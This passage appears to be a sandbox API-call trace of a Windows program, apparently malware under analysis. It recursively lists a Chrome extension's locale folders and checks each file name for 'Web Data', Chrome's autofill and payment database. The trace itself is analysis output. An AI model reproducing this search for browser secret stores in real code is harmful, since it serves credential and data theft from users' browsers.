Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.408] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.408] lstrlenA (lpString="\\") returned 1 [0056.408] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.408] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.408] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.408] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.408] lstrlenA (lpString="pt_BR") returned 5 [0056.408] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2e0210 [0056.408] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.409] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR" [0056.409] LocalFree (hMem=0x2e0100) returned 0x0 [0056.409] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR") returned 134 [0056.409] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR") returned 134 [0056.409] lstrlenA (lpString="\\*.*") returned 4 [0056.409] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2e0320 [0056.409] lstrcpyA (in: lpString1=0x2e0320, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR" [0056.409] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\*.*" [0056.409] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.409] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.409] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.409] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.409] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.409] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.409] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.409] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.409] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.409] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.409] lstrcmpiA (lpString1=".", lpString2="pt_PT") returned -1 [0056.409] lstrcmpiA (lpString1="..", lpString2="pt_PT") returned -1 [0056.409] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.409] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.409] lstrlenA (lpString="\\") returned 1 [0056.409] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.409] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.409] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.409] lstrlenA (lpString="pt_PT") returned 5 [0056.409] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.409] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT" [0056.409] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT") returned 134 [0056.409] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT") returned 134 [0056.409] lstrlenA (lpString="\\*.*") returned 4 [0056.409] lstrcpyA (in: lpString1=0x2e0320, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT" [0056.409] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\*.*" [0056.409] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.410] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.410] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.410] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.410] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.410] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.410] LocalFree (hMem=0x2e0320) returned 0x0 [0056.410] LocalFree (hMem=0x2e0210) returned 0x0 [0056.410] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.410] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.410] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.410] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.410] lstrlenA (lpString="ro") returned 2 [0056.410] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.410] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro" [0056.410] LocalFree (hMem=0x2e0100) returned 0x0 [0056.410] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro") returned 131 [0056.410] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro") returned 131 [0056.410] lstrlenA (lpString="\\*.*") returned 4 [0056.410] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro" [0056.410] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\*.*" [0056.410] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.410] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.411] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.411] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.411] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.411] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.411] LocalFree (hMem=0x2e0100) returned 0x0 [0056.411] LocalFree (hMem=0x2e0210) returned 0x0 [0056.411] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.411] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.411] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.411] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.411] lstrlenA (lpString="ru") returned 2 [0056.411] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.411] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru" [0056.411] LocalFree (hMem=0x2e0100) returned 0x0 [0056.411] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru") returned 131 [0056.411] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru") returned 131 [0056.411] lstrlenA (lpString="\\*.*") returned 4 [0056.411] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.411] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru" [0056.411] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\*.*" [0056.411] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.412] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.412] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.412] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.412] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.412] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.412] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.412] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.412] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.412] LocalFree (hMem=0x2e0100) returned 0x0 [0056.412] LocalFree (hMem=0x2e0210) returned 0x0 [0056.412] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.412] lstrcmpiA (lpString1=".", lpString2="sk") returned -1 [0056.412] lstrcmpiA (lpString1="..", lpString2="sk") returned -1 [0056.412] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.412] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned 128 [0056.412] lstrlenA (lpString="\\") returned 1 [0056.412] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.412] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" [0056.412] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.412] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned 129 [0056.412] lstrlenA (lpString="sk") returned 2 [0056.412] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.412] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\" [0056.412] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\", lpString2="sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk" [0056.412] LocalFree (hMem=0x2e0100) returned 0x0 [0056.412] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk") returned 131 [0056.412] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk") returned 131 [0056.412] lstrlenA (lpString="\\*.*") returned 4 